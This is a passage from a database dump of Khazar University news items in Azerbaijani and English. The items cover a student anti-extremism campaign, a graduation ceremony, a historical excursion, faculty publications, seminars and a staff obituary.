scientific activities of the professor was demonstrated.</p>'),(4283,2522,'az','Xəzər Universitetinin tələbələri “ P2P: Facebook qlobal rəqəmsal çağırış” yarışında iştirak edirlər','2017-2018-ci akademik ilinin payız semestrində Xəzər Universiteti “P2P: Facebook qlobal rəqəmsal çağırış” adlı ümumdünya...','<p>2017-2018-ci akademik ilinin payız semestrində Xəzər Universiteti “P2P: Facebook qlobal rəqəmsal çağırış” adlı ümumdünya universitet gənclərinin təşəbbüsü və beynəlxalq yarışında iştirak edəcək. Artıq üçüncü dəfədir ki, universitet bu qlobal çağırışda iştirak edəcək.&nbsp;</p><p>Universiteti müxtəlif fakültə və departamentlərin, xüsusilə İqtisadiyyat və menecment departamentinin, Psixologiya departamentinin və Siyasi elm və beynəlxalq münasibətlər departamentinin bir qrup tələbəsi təmsil edəcək.</p><p>Universitet, müxtəlif məktəb və fakültələrdən, əsasən, İqtisadiyyat və menecment, Psixologiya, Siyasi elmlər və beynəlxalq münasibətlər fakultələrindən olan tələbə komandası ilə təmsil olunacaq. Hər bir iştirakçı komanda öz icması ilə səsləşən və ekstremizmi hədəfləyən rəqəmsal marketinq kampaniyası hazırlamalı və həyata keçirməlidir.</p><p>Xəzər Universitetinin komandası yerli və xarici olmaqla, 14 tələbədən ibarətdir:&nbsp;</p><ul><li>Amanullah Nazari (İqtisadiyyat, BBA/ Əfqanıstan)</li><li>Aytəkin Kərimova (Biznesin idarə edilməsi, BBA/ Azərbaycan)</li><li>Danu Ade Setiavan (Bank işi, MBA/ İndoneziya)</li><li>Günay Fərzəliyeva (Biznesin idarə edilməsi, MBA/ Azərbaycan)</li><li>Həsən Əlili (Menecment, BBA/ Azərbaycan)</li><li>Cəlal Hüseynbəyli (Beynəlxalq münasibətlər, BA/ Azərbaycan)</li><li>Ləman Quliyeva (Psixologiya, BA/ Azərbaycan)</li><li>Mina Məhərova (Marketinq, BBA/ Azərbaycan)</li><li>Mətin Məmmədzadə (Marketinq, BBA/ Azərbaycan)</li><li>Murtaza Afzali (İqtisadiyyat, BBA/ Əfqanıstan)</li><li>Ruslan Osmanlı (Menecment, BBA/ Azərbaycan)</li><li>Tatenda Melodi Mudara (Beynəlxalq münasibətlər, BA/ Zimbabve)</li><li>Araz Məmmədov (Politologiya, BA/ Gürcüstan)</li><li>Murad Nuriyev (Maliyyə, BBA/&nbsp;Azərbaycan).</li></ul><p><br></p><p>2017-ci il oktyabrın 6-da komanda kampaniya haqqında fikir mübadiləsi aparmaq, əsas ideya və hədəflərini müəyyənləşdirmək üçün ilk görüşünü keçirdi.&nbsp;</p><p>Xəzər Universitetinin “P2P: Facebook qlobal rəqəmsal çağırış” yarışında iştirakını Beynəlxalq əlaqələr ofisi koordinasiya edir.&nbsp;</p><h2>P2P: Facebook qlobal rəqəmsal çağırış haqqında&nbsp;</h2><p>“P2P: Facebook qlobal rəqəmsal çağırış” proqramı dünyanın müxtəlif universitetlərinin sosial və ya rəqəmsal təşəbbüsün müvəffəqiyyətini layihələndirən, pilotlaşdıran, həyata keçirən və ölçən tələbə komandalarını tələbələri nifrət və ekstremist çıxışlara qarşı mübarizə aparmağa motivasiya edən və ya təmin edən alət, yaxud vasitədir. Bu proqram digər tələbələrə nifrət və ekstremist çıxışlara qarşı çıxmaq üçün öz təşəbbüslərini, məhsullarını və ya vasitələrini yaratmaq üçün katalizatorluq edir və öz fəaliyyəti ilə nifrət və ekstremist çıxışlara qarşı paylaşılan dəyərlərə yönəlmiş şəbəkə cəmiyyətini qurur.</p><p>P2P 2015-ci ildə Ağ Evin təşəbbüsü ilə&nbsp;başladılmış, daha sonra online nifrət və ekstremizmə qarşı sosial və rəqəmsal media kampaniyaları yaratmaq üçün ABŞ hökumətinin əməkdaşlığı ilə dünyanın 23 universitetindən tələbələrin qoşulduğu qlobal universitet yarışmasıdır. Facebook dövlət-özəl tərəfdaşlığın yaradılması üçün 2015-ci ilin payızında P2P-yə cəlb olundu. Onlar bütün komandalara Facebook-da reklam kreditləri verir və onlar 2016-cı ilin payızından bütün beynəlxalq komandalar üçün rəsmi proqram sponsoru olaraq çıxış edirlər.</p><p>(Mənbə: <a href=\"https://edventurepartners.com/peer-to-peer-facebook-global-digital-challenge-spring-2017-winners-named-in-dc/\">https://edventurepartners.com/peer-to-peer-facebook-global-digital-challenge-spring-2017-winners-named-in-dc/</a>).&nbsp;</p><p>Proqram haqqında daha çox məlumat əldə etmək üçün, bu linkə daxil ola bilərsiniz:&nbsp;</p><p>EdVenture Partners-in vebsaytı: <a href=\"https://edventurepartners.com/peer-to-peer-facebook-global-digital-challenge/#program_process_anchor\">https://edventurepartners.com/peer-to-peer-facebook-global-digital-challenge/#program_process_anchor</a>.</p>'),(4286,2529,'az','Tələbələrin Qədim Ağsuya səyahəti baş tutdu','2017-ci il oktyabrın 14-də Xəzər Universitetinin Təhsil fakültəsinin tarix müəllimliyi ixtisasının I və IV il tələbələrinin...','<p>2017-ci il oktyabrın 14-də Xəzər Universitetinin Təhsil fakültəsinin tarix müəllimliyi ixtisasının I və IV il tələbələrinin Qədim Ağsu şəhər yerinə çoxdan gözlənilən səfəri gerçəkləşdirildi. Bu səfər Xəzər Universitetinin Tarix və arxeologiya departamentinin müdiri dosent Roza Arazova və müəllimi Orxan Zamanovun təşəbbüsü və təşkilatçılığı “Miras” Mədəni İrsin Öyrənilməsinə Kömək İctimai Birliyinin sədri arxeoloq PhD. Fariz Xəlillinin iştirakı ilə baş tutdu. Səfər bütün gün boyu Azərbaycanın tarixi Şirvan bölgəsinin əsas abidələrinə gəzinti və ekskurs-dərs şəklində davam etdi. Əvvəlcə, Xəzər Universitetinin tələbə və müəllim heyəti XV əsrə aid Diri Baba türbəsini ziyarət etdilər. Daha sonra Ağsu Orta əsr şəhər yerində arxeoloq F.Xəlillinin təqdimatı ilə XVIII əsr vətən tarixi və Azərbaycanda İslam arxeologiyasının son mərhələsini əhatələyən çox maraqlı və əyani ekskurs-dərs həyata keçirildi. Yekun olaraq, Şamaxı şəhərindəki tarixi və monumental Cümə məscidinə baxış keçirildi və səfər sona çatdı.</p>'),(4284,2527,'az','“Xəzər”də 43-cü məzunluq mərasimi','2017-ci il oktyabrın 15-də Bakı Musiqi Akademiyasının Şövkət Məmmədova adına Opera Studiyasında Xəzər Universiteti...','<p>2017-ci il oktyabrın 15-də Bakı Musiqi Akademiyasının Şövkət Məmmədova adına Opera Studiyasında Xəzər Universiteti məzunlarının 43-cü buraxılış (233 bakalavr, 62 magistr) mərasimi keçirildi. Mərasimdə universitetin rəhbərliyi, professor-müəllim heyəti, tələbələr, valideynlər və qonaqlar iştirak edirdilər. Mərasim universitetin Kamera orkestrinin ifasında Azərbaycan Respublikasının Dövlət Himni ilə başlandı.</p><p>Xəzər Universitetinin rektoru Nassan Niknafs məzunları təbrik edərək, gələcək işlərində onlara uğurlar arzuladı.</p><p>Qeyd olundu ki, 26 il ərzində universiteti, bugünkü məzunlar da daxil olmaqla 3271 bakalavr, 685 magistr bitirmişdir. Onlardan 811 nəfəri fərqlənmə diplomu ilə bitirmişdir. Aldıqları təhsil, qazandıqları bilik və bacarıqlar “Xəzər”in məzunlarına seçdikləri sahədə uğur qazanmalarına zəmin yaradır. Onlar dövlət qurumlarında, özəl şirkətlərdə çalışır, böyük layihələrə, yeniliklərə imza atırlar, xeyli hissəsi öz özəl işlərini qururlar.</p><p>Mərasimdə dünyanın müxtəlif ölkələrində fəaliyyət göstərən Xəzər Universitetinin əvvəlki məzunlarının təbrik video-çarxları nümayiş etdirildi. Sonra təbrik üçün Xəzər Universitetinin ilk məzunları dəvət edildi. Keçmiş məzunlar adından Xəzər Universitetinin Hüquq fakültəsini bitirmiş, hazırda ADA Universitetinin dosenti olan Rəşad İbadov çıxış etdi.</p><p>Daha sonra məzunlara diplomların təqdim olunması mərasimi başlandı. Diplomları rektor Hassan Niknafs, prorektorlar Məhəmməd Nuriyev, İsaxan İsaxanlı, İradə Xəlilova, fakültə dekanları, departament müdirləri və müəllimlər təqdim etdilər. Təqdimatdan sonra məzunların andiçmə mərasimi keçirildi, xatirə şəkilləri çəkildi.</p><p>Professor Hamlet İsaxanlı mərasimdə çıxış edərək, məzunlara yeni həyat yollarında uğurlar arzuladı. O, universitetdə yaradılmış əlverişli təhsil mühitindən, yalnız yüksək keyfiyyətli mütəxəssislər yox, eyni zamanda hərtərəfli inkişaf etmiş gənc nəsil yetişdirilməsindən, professor-müəllim heyətinin gərgin və səmərəli işindən, universitetin dünyanın aparıcı ali məktəbləri ilə hərtərəfli əlaqələrindən, maddi-texniki bazanın daim genişlənməkdə olmasından və “Xəzər”in beynəlxalq təşkilatların reytinq cədvəllərində daim fərqlənərək, Azərbaycan universitetləri arasında birinci yeri tutmasından, həmçinin universitetin gələcəkdə həyata keçirəcəyi tədbirlərdən ətraflı bəhs etdi.</p><p>Tədbir universitetin fakültə əməkdaşları və qızlardan ibarət rəs qrupunun konsert proqramı ilə davam etdirildi. Sonda mərasim universitetin müəllim və tələbələrdən ibarət xorunun möhtəşəm ifası ilə tamamlandı.</p>'),(4285,2523,'az','Xəzər Universitetinin komandasının P2P proqramının koordinatoru ilə Skype danışığı','2017-ci il oktyabrın 11-də Xəzər Universitetin komandası “P2P: Facebook qlobal rəqəmsal çağırış” proqramının...','<p>2017-ci il oktyabrın 11-də Xəzər Universitetinin komandası “P2P: Facebook qlobal rəqəmsal çağırış” proqramının koordinatoru xanım Şavanna Kazins ilə Skype danışığı apardı. Görüşün əsas məqsədi komanda üzvlərini proqram koordinatoruna təqdim etmək,&nbsp;layihənin ideyası və onun həyata keçirilməsi üçün strategiyaları müzakirə etmək idi. Görüş zamanı xanım Kazins komandanı kampaniya ilə ətraflı tanış etdi, əsas ideya haqqında danışdı və tələbələrin kampaniya ideyaları haqqında fikirlərini söylədi.</p><p>Görüş kampaniyanın həyata keçirilməsində növbəti addımları müəyyənləşdirməklə sona çatdı.</p><p>Qeyd edək ki, Xəzər Universitetinin komandası ekstremizmi hədəfləyən rəqəmsal kampaniyanı dizayn edib həyata keçirəcək və dünyanın müxtəlif universitetlərini təmsil edən komandalarla yarışacaq.</p>'),(4932,2877,'az','Görkəmli alimin yeni kitabının təqdimatı','Fevralın 2-də Xəzər Universitetinin Mərmər salonunda dünyada tanınan alim, qeyri-səlis məntiq nəzəriyyəsi...','<p>Fevralın 2-də Xəzər Universitetinin Mərmər salonunda dünyada tanınan alim, qeyri-səlis məntiq nəzəriyyəsi, süni intellekt üzrə ən güclü mütəxəssislərdən biri olan professor Rafiq Əliyevin qərarqəbuletmə nəzəriyyəsi ilə bağlı ABŞ-da çapdan çıxmış növbəti kitabının təqdimat mərasimi keçirildi.</p><p>Sayca professorun 75-ci elmi monoqrafiyası olan “Uncertain computation based decision theory” (“Qeyri müəyyən hesablamalar əsasında qərar qəbuletmə nəzəriyyəsi”) adlı kitab dünyanın məşhur elmi nəşriyyatlarından biri olan “World Scientific” nəşriyyatında işıq üzü görüb. Qeyd edək ki, adı çəkilən nəşriyyat yalnız dünya standartlarına cavab verən elmi nəşrlərin çapında maraqlıdır. Həmyerlimizin bu kitabı da ABŞ-dan tutmuş dünyanın bir çox yerlərində qərar qəbuletmə ilə məşğul olan mütəxəssislərə dərs vəsaiti kimi tədris ediləcək.</p><p>Tədbiri giriş nitqi ilə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı açaraq, alimin böyük elmi uğurlarından danışdı.</p><p>Mərasimdə şair Ramiz Rövşən, özbəkistanlı alim akademik Nadırbek Sadiqbekov, jurnalist, publisist Qulu Məhərrəmli, Durham Universitetinin (Böyük Britaniya) tələbəsi, professor Rafiq Əliyevin nəvəsi - Rafiq Rəşad oğlu Əliyev çıxış edərək, alimin çoxşaxəli elmi fəaliyyətinin müxtəlif cəhətlərindən bəhs etdilər. Professor Rafiq Əliyev çıxışında kitabın yazılma tarixçəsindən danışdı, təqdimat mərasiminin təşkilinə görə universitetin rəhbərliyinə və iştirakçılara təşəkkürünü bildirdi.</p><p>Mərasimdə Xəzər Universitetinin Kamera orkestrinin ifasında musiqi nömrələri səsləndi, Rafiq Əliyevin həyat və fəaliyyətindən bəhs edən qısametrajlı film nümunələri nümayiş etdirildi.</p>'),(5141,2988,'en','“Huawei” company representatives visit Khazar University','On initiatives of Career Center of Khazar University, a meeting was held with “Huawei” company...','<p>On initiatives of Career Center of Khazar University, a meeting was held with “Huawei” company on February 22, 2018. Eldaniz Huseynov, Director of Network Technologies of the company, gave information on history, internal structure, mission and current situation of the company.</p><p>Then Irada Rasulova, HR manager of the company, informed students about employment and internship programs within the company.</p><p>Company representatives answered students’ questions and gave basic information on current vacancies at the company.</p><p>Till the end of 2014 the products and services of “Huawei” company were used by one third of world population in more than 170 countries. The mission of “Huawei” Consumer BG is to offer cutting-edge technologies and a wide range of services to consumers, create unique experience and realize desires of its customers everywhere. “Huawei” company has more than 20 years of experience in ICT (Information and Communications Technologies), wide global business operations, partners and network worldwide.</p>'),(4443,2627,'en','Alibanda Aliyev, the instructor of “Dunya” School, tragically passed away','During the terrible fire in Masazir on the night of November 11, 2017, Alibanda Aliyev, the dance instructor of “Dunya” school, passed away at the...','<p>During the terrible fire in Masazir on the night of November 11, 2017, Alibanda Aliyev, the dance instructor of “Dunya” school, passed away at the age of 37 in tragic circumstances.</p><p>Alibanda Aliyev, a well-known dancer, worked at the Azerbaijan State Song and Dance Ensemble, Khazar University Song and Dance Ensemble and the State Children\'s Philharmonic. He performed as a dancer in Azerbaijan\'s dance ensemble in more than 10 countries.</p><p>In recent years, Alibanda Aliyev, head of the dance ensemble of boys at Khazar University\'s \"Dunya\" School, gained a great deal of sympathy of the school staff and students with his professionalism and sincerity.</p><p>The staff of \"Dunya\" school and Khazar University express their sorrow over the tragic death of their colleague and express their deepest condolences to his family.</p><p>Rest in peace!</p>'),(4287,2530,'az','Xəzər Universitetinin əməkdaşının məqaləsi çap olundu','Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin əməkdaşı Elza İsmayılovanın...','<p>Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin əməkdaşı Elza İsmayılovanın “Koroğlu” dastanında Giziroğlu Mustafa bəy (Azərbaycan və Türkiyə variantları əsasında)” adlı məqaləsi AMEA Folklor İnstitutunun orqanı olan “Azərbaycan şifahi xalq ədəbiyyatına dair tədqiqlər” elmi-ədəbi toplusunda (2017/ 1 (50)) çap olunmuşdur.</p><p><strong><em>Məqalə <a href=\"/files/letters/folklor.pdf\">PDF</a>&nbsp;formatında əlavə edilmişdir.</em></strong></p>'),(5564,3203,'en','Head of the Department of Geography and the Environment delivered a speech at a scientific conference','','<p>On May 12, 2018, Rovshan Abbasov, Head of the Department of Geography and the Environment of Khazar University, participated in a conference on “<em>Understanding problems of Inland Waters</em>” held in Baku with a report entitled “<em>Assessment of Ecosystem Services of dams/reservoirs connected to Hydropower Generation</em>”.</p>'),(5137,2987,'az','Məqalədə “Xəzər”in müəlliminin şeirlərindən də bəhs edilir','Azərbaycan Yazıçılar Birliyinin aylıq dərgisi olan “Ulduz” jurnalının 2018-ci il fevral sayında...','<p>Azərbaycan Yazıçılar Birliyinin aylıq dərgisi olan “Ulduz” jurnalının 2018-ci il fevral sayında filoloq Əli Ağazadənin “Yoldan xəbər” adlı məqaləsi dərc edilmişdir.</p>\r\n<p>Məqalədə irfani-fəlsəfi duyğuları ilə insanı mənəvi kamilliyə çağıran Füzuli, Y.Əmrə yaradıcılığından qısa şəkildə bəhs olunur. Yazıda, həmçinin, Xəzər Universiteti Təhsil fakültəsi Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Qardaşxan Əzizxanlının şeirlərinə də müraciət edilmişdir.</p>'),(5138,2987,'en','The article also deals with poems of a lecturer of Khazar University','An article “News from Road” by philologist Ali Aghazadeh was published in “Ulduz” journal...','<p>An article “News from Road” by philologist Ali Aghazadeh was published in “Ulduz” journal, a number for February, 2018, a monthly journal of Azerbaijan Union of Writers.</p><p>The article shortly deals with Fuzuli’s and Y.Amra’s poetry which, with its enlightening and philosophical feelings, invite people to moral perfection. The author also mentions poems by Gardashkhan Azizkhanli, a lecturer of the Department of the Azerbaijan Language and Literature, the School of Education, Khazar University.</p>'),(5136,2986,'en','An open lecture \"Return of Exiled Intellectuals of ADR\" dedicated to the 100th anniversary of the Azerbaijan Democratic Republic','A lecture on “Return of Exiled Intellectuals of ADR” (“Mühacirlərin dönüşü”) dedicated...','<p>A lecture on “<strong>Return of Exiled Intellectuals of ADR</strong>” (“Mühacirlərin dönüşü”) dedicated to the 100<sup>th</sup> anniversary of the Azerbaijan Democratic Republic is to be held, at 14:30, on March 16, 2018, with an organisational support of the Department of Political Sciences and International Relations, Khazar University. The lecturer is Dilgam Ahmad, a collector and journalist-writer, who has been researching the Azerbaijan Democratic Republic and history of the exiled intellectuals since 2012. On the same day, unique photos and documents related to Azerbaijan Democratic Republic, which belong to Dilgam Ahmad’s collection, will be demonstrated. Moreover, it will be a presentation and signature day of the books \"<strong>Return of Exiled Intellectuals of ADR</strong>” and “<strong>The Distinguished</strong>” (“Fərqlilər”) by Dilgam Ahmad, published by TEAS-Press.</p> <p><img src=\"/files/letters/muhacir.jpg\" style=\"border:0px #000000;width:500px;height:704px;margin-left:70px;margin-top:7px;margin-right:7px;vertical-align:baseline\"><br></p>'),(5132,2984,'az','Doktorantın yerli jurnalda növbəti elmi məqaləsi çap edildi','Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin...','<p>Xəzər Universiteti Humanitar və sosial elmlər fakültəsinin dekan müavini Validə Kərimovanın (doktorant) “N.Çomskinin sintaktik təlimində üst qat problemi: cümlənin üst qatının müəyyənləşməsi kriteriyaları” adlı elmi məqaləsi Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasının Dövri Elmi Nəşrlərin çapı üçün tövsiyə edilən, “Filologiya məsələləri” jurnalının 2018-ci il üçün olan 1-ci sayında çap edilmişdir (ISSN 2224-9257). Məqalədə müasir dilçilikdə sintaksisdən danışılır. N.Çomskinin bu istiqamətdə apardığı tədqiqatlar və elmə gətirdiyi yeniliklər də araşdırılaraq geniş formada oxucuya çatdırılmışdır.</p><p>Məqaləni tam şəkildə bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://www.filologiyameseleleri.net/pdf/2018/1n.pdf\">http://www.filologiyameseleleri.net/pdf/2018/1n.pdf</a>.</p>'),(5133,2985,'az','Mexanika Mühəndisliyi Departamentinin müəlliminin məqaləsi beynəlxalq jurnalda çap olundu','Xəzər Universiteti Mühəndislik və tətbiqi elmlər fakültəsinin Mexanika mühəndisliyi departamentinin müəllimi...','<p>Xəzər Universiteti Mühəndislik və Tətbiqi elmlər fakültəsinin Mexanika mühəndisliyi departamentinin müəllimi Dr. Mehdi Kiyasatfarın “Səmərəli şəraitdə paralel plitə və dairəvi mikrokanallarda qeyri-Nyuton&nbsp;enerjili maye axınlarının konvektiv istilik ötürülməsi və entropiya üsulu ilə analizi\"” adlı tədqiqat məqaləsi Beynəlxalq “Thermal Science (IF: 3.615)” jurnalında çapdan çıxmışdır.</p><p>Məqaləni bu link vasitəsilə oxumaq olar:</p><p><a href=\"https://www.sciencedirect.com/science/article/pii/S1290072916316660\">https://www.sciencedirect.com/science/article/pii/S1290072916316660</a>.</p>'),(5134,2985,'en','An article by Khazar University lecturer was published','A research paper \"Convective heat transfer and entropy generation analysis of non-Newtonian...','<p><span style=\"background-color:#ffffff\">A research paper \"Convective heat transfer and entropy generation analysis of non-Newtonian power-law fluid flows&nbsp;in parallel-plate and circular microchannels under slip boundary conditions\" by PhD candidate Mehdi Kiy</span><span style=\"background-color:#ffffff\">asatfar, a lecturer of Mechanical Engineering Department of the School of Engineering and Applied Sciences, Khazar University, was published in the International&nbsp;Journal of Thermal Science (IF: 3.615).</span></p><p>The article can be read through this link:</p><p><a href=\"https://www.sciencedirect.com/science/article/pii/S1290072916316660\">https://www.sciencedirect.com/science/article/pii/S1290072916316660</a>.</p>'),(4288,2531,'az','Xəzər Universitetində “Tibdə nanotexnologiya” mövzusunda seminar keçiriləcək','2017-ci il oktyabrın 19-u saat 14:00-da Xəzər Universiteti Doktorantura və Magistratura...','<p>2017-ci il oktyabrın 19-u saat 14:00-da Xəzər Universiteti Doktorantura və Magistratura Birliyi Azərbaycan Elm Heyətinin idarə heyətinin üzvü və London Universitet Kollecinin Nanotexnologiya üzrə doktorantura tələbəsi Mədinə Quliyevanı Xəzər Universitetində qonaq edəcək. Mədinə Quliyeva öz tədqiqat sahəsi olan “Tibdə nanotexnologiya” mövzusunda seminar keçirəcək. Seminar və görüş Xəzər Universitetinin “Neftçilər” kampusunda (otaq 102N) baş tutacaq.</p><p>Maraqlananlar dəvət olunurlar.</p>'),(5131,2984,'en','Scientific article by a PhD candidate published in a national journal','A scientific article “The problem of the upper layer in  syntax by N. Chomsky: criteria for the definition...','<p>A scientific article “The problem of the upper layer in&nbsp; syntax by N. Chomsky: criteria for the definition of the upper layer of a sentence” by Valida Karimova, Vice-dean of the School of Humanities and Social Sciences of Khazar University, was published in the first issue of “Philology Issues” journal, 2018, (ISSN 2224-9257), one of the journals included in Periodical Scientific Publications of the Supreme Attestation Commission under the President of the Republic of Azerbaijan. The article deals with syntax in modern linguistics. Moreover, the authors investigates and introduces the relevant researches by Chomsky to readers.&nbsp;&nbsp;</p><p>A link for full article:</p><p><a href=\"http://www.filologiyameseleleri.net/pdf/2018/1n.pdf\">http://www.filologiyameseleleri.net/pdf/2018/1n.pdf</a>.&nbsp;<br></p>'),(4289,2527,'en','43rd Graduation Ceremony of Khazar University conducted','On October 15, 2017, the 43rd graduation ceremony of Khazar University was held at the Opera Studio of Baku...','<p>On October 15, 2017, the 43<sup>rd</sup> graduation ceremony of Khazar University was held at the Opera Studio of Baku Music Academy named after Shovkat Alakbarova. The ceremony was attended by the university administration, professors, teachers, students, parents and guests. It started with the National Anthem of the Azerbaijan Republic.</p><p>Dr. Hassan Niknafs, the rector of Khazar University, congratulated the graduates and wished them success in their future life and career.</p><p>It was noted that for 26 years, 3271 Bachelor and 685 Master degree students, including today\'s graduates (233 BA and 62 MA students), graduated from Khazar University. 811 of those graduates earned Honours diploma.</p><p>The education, knowledge and skills gained at Khazar University prepare them for a successful career in their selected field. Some graduates work for state organizations, private companies, manage large projects and some run their own businesses.</p><p>The congratulatory videos of former graduates of Khazar University who are currently working in different countries of the world were demonstrated at the ceremony. Then, the first graduates of Khazar University were invited to congratulate the graduates.</p><p>Rashad Ibadov, Associate Professor at ADA University, a Khazar University Law School graduate, delivered a speech on behalf of the previous graduates of the university.</p><p>Then, the ceremony of awarding certificates started. Dr. Hassan Niknafs, the rector of the University; Professor Mahammad Nuriyev, the vice rector of Khazar University for Academic Affairs; Dr. Isakhan Isakhanli, the vice rector for Administration and Student Affairs, deans of schools, heads of departments, and instructors presented the certificates. Graduate Student Oath Ceremony was held after the presentation and memory photos were taken.</p><p>Professor Hamlet Isakhanli delivered a speech at the ceremony and wished the graduates success in their new paths of life. He talked about a favourable educational environment at the university emphasising that it does not only prepare high-quality professionals but also raise a thoroughly developed younger generation. Professor also highlighted tense and efficient work of professor-teacher staff, the university’s close relationships with the world\'s leading universities, the constant growth of material and technical base of the university and noted that Khazar University has always been distinguished in the rankings of international organizations and holds the first place among Azerbaijani universities.</p><p>The event continued with a concert program prepared by the faculty members and the girls\' dance group of the university. At the end, the ceremony ended with a spectacular performance of the choir composed of teachers and students.</p>'),(5127,2982,'az','“Dünya” jurnalının yeni nömrəsi çapdan çıxıb','Xəzər Universiteti “Dünya” məktəbinin aylıq nəşri olan “Dünya” jurnalının...','<p>Xəzər Universiteti “Dünya” məktəbinin aylıq nəşri olan “Dünya” jurnalının 2017-ci il dekabr nömrəsi (22-ci nömrə) Xəzər Universitetinin mətbəəsində&nbsp;çapdan çıxmışdır.</p>'),(5128,2982,'en','New issue of “Dunya” Journal published','December issue (22nd issue) for 2017 of ‘Dunya’ journal, monthly publication...','<p>December issue (22<sup>nd</sup> issue) for 2017 of ‘Dunya’ journal, monthly publication of “Dunya” School of Khazar University, was published in printing house of Khazar University.</p>'),(5130,2983,'en','Trainings and Seminars by PhD and Master’s Students Association is ongoing','A seminar on “Details of Academic Writing” is to be held in a conference hall...','<p>A seminar on “Details of Academic Writing” is to be held in a conference hall (room 102N) of Khazar University, “Neftchiler” campus at 15:00, on February 23, 2018. Participants will gain knowledge in characteristics of academic writing in terms of structure, semantics and syntax. The seminar will be led by Goshgar Maharramov, a Coordinator of the Department of Education of Khazar University, a PhD candidate in Education Management of Osmangazi University.</p><p>Those interested are welcome.</p>'),(3391,1989,'az','Tarix və arxeologiya departamentində xaricdə təhsilə həsr olunmuş görüş keçirildi','2017-ci il martın 18-də –Novruz bayramı ərəfəsində, Xəzər Universiteti Tarix və arxeologiya departamentinin müdiri...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2017-ci il martın 18-də –Novruz bayramı ərəfəsində, Xəzər\r\nUniversiteti Tarix və arxeologiya departamentinin müdiri dosent Roza Arazova Təhsil fakültəsinin tarix muəllimliyi ixtisası üzrə təhsil alan\r\ntələbələri ilə görüşə respublikanın tanınmış ziyalılarını dəvət etmişdi.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">“University Foundation Center”-in qurucusu və Azərbaycan-Fransa\r\ndostluq qrupunun vitse-prezidenti Reyhan xanım Hüseynova Fransada təhsil almaq üçün tələbələrə Bakıda təhsildən\r\nöncə təşkil edilmiş hazırlıq kursları haqqında, Fransada pulsuz təhsiz, tələbələrin\r\nyataqxana ilə təmin olunması və s. haqqında məlumat verdi, tələbələri\r\nmaraqlandıran sualları cavablandırdı.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Hazırda Xəzər Universiteti Təhsil fakültəsinin tarix\r\nmüəllımliyi ixtisası alan tələbələri “Xocalı-Gədəbəy mədəniyyəti” irsini\r\nöyrənirlər. Tədrisi Almaniyanın Berlin şəhərindəki Qafqaz Tədqiqatları\r\nİnstitutunun direktoru Nuridə Atəşi aparır. O, öz növbəsində tələbələrə Almaniyada\r\ntəhsil almağın yollarını, tələbələrin gələcək təhsilinin, karyeralarının\r\nqurmasında, inkişafında, xarici ölkələrin perspektivlərindən, Avropada olan\r\ngeniş imkanlar haqqında ətraflı və dolğun məlumat verdi, konkret və real\r\nyolları göstərdi və tələbələrin Avropa muzeylərində indiyə qədər tədqiqatları\r\naparılmayan Xocalı-Gədəbəy mədəniyyətinə aid olan zəngin mədəni irsin öyrənilməsi\r\nüçün gənc kadrların, tədqiqatçıların yetişdirilməsində var gücü ilə\r\nçalışacağını və tələbələrə dəstək olacağını bildirdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">AMEA Arxeologiya və Etnoqrafiya İnstitutunun baş elmi işçisi\r\nprofessor Dr. Abbas Seyidov tələbələrə Xocalı-Gədəbəy mədəniyyəti haqqında\r\ngeniş məlumat verərək, onlara bu parlaq mədəniyyətin irsinin öyrənilməsinin nə\r\nqədər vacib və şərəfli olduğunu bildirdi. O qeyd etdi ki, Azərbaycanın, o cümlədən,\r\nQarabağın tarixini üzə çıxarmaq və dünya elminə sübut etmək üçün Xocalı-Gədəbəy\r\nmədəniyyəti irsini öyrənmək son dərəcə vacibdir və tarixşünaslığın qarşısında\r\nduran ən böyük problemlərdən biridir. Belə bir çətin və məsuliyyətli vəzifəni\r\nboyunlarına götürdükləri üçün o, həm departamentin müdiri Roza xanım Arazovaya,\r\nhəm də fənni tədris edən N.Atəşiyə minnətdarlığını bildirdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Qeyd edək ki, 2017-ci il martın 3-də Xəzər Universiteti ilə Fransanın\r\nLyon-2 Universiteti arasında əməkdaşlıq müqaviləsi imzalanmışdır. Bu müqavilə\r\nuniversitetlər arasında tədqiqat, təhsilin müxtəlif sahələrində əməkdaşlıq, müəllim,\r\ntələbə mübadiləsi ilə yanaşı Xəzər Universiteti tələbələrinin Lyon-2\r\nUniversitetində təhsil almalarına da bir çox imkanlar açacaqdır. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Sonda departamentin müdiri Roza xanım Arazova qonaqlara təşəkkür edərək,\r\nonları Xəzər Universiteti tələbələrinin Avropa universitetlətində təhsillərinin\r\ndavam etdirilməsinə köməklik göstərmələri və Xocalı-Gədəbəy mədəniyyəti irsinin\r\nöyrənilməsi üçün qarşıda duran vacib işlər, məqsədlər və vəzifələr haqqında öz\r\ntapşırıqlarını və tövsiyələrini verdi və eyni zamanda, tələbələri bütün bu\r\nimkanlardan istifadə etməyə çağırdı&nbsp;</p>'),(4291,2526,'en','PhD and Master Association met with the representatives of the Azerbaijan Science Association','On October 13, 2017, the Khazar University PhD & Master Association hosted a delegation of...','<p>On October 13, 2017, the Khazar University PhD &amp; Master Association hosted a delegation of Azerbaijan Science Association at Khazar University. At the meeting with the students, Tarlan Suleymanov, a PhD student of Oxford University, conducted a seminar on \"Driverless Cars\". The meeting is significant as the first step in the interaction between the two institutions.</p>'),(4292,2533,'az','Xəzər Universitetinin məzunu ilə müsahibə mətbuatda yayıldı','2017-ci il oktyabrın 17-də respublikanın bir sıra media orqanları Xəzər Universitetinin Humanitar...','<p>2017-ci il oktyabrın 